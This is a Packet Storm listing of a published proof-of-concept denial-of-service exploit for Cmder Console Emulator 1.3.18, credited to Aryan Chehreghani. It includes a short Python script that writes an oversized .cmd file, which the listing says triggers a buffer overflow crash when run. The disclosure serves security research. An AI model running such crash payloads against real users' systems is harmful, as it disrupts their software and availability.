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Cmder Console Emulator 1.3.18 Denial Of Service

🗓️ 08 Oct 2021 00:00:00Reported by Aryan ChehreghaniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 271 Views

Cmder Console Emulator 1.3.18 Denial Of Service exploit using buffer overflo

Code
`# Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial-of-Service (PoC)  
# Date: 2021-10-07  
# Exploit Author: Aryan Chehreghani  
# Vendor Homepage: https://cmder.net  
# Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip  
# Version: v1.3.18  
# Tested on: Windows 10   
  
# [About - Cmder Console Emulator] :  
  
#Cmder is a software package created over absence of usable console emulator on Windows.  
#It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.  
  
# [Security Issue] :   
  
#equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition.   
#E.g λ cmder.cmd  
  
# [POC] :  
  
PAYLOAD=chr(235) + "\\CMDER"  
PAYLOAD = PAYLOAD * 3000  
with open("cmder.cmd", "w") as f:  
f.write(PAYLOAD)  
  
`

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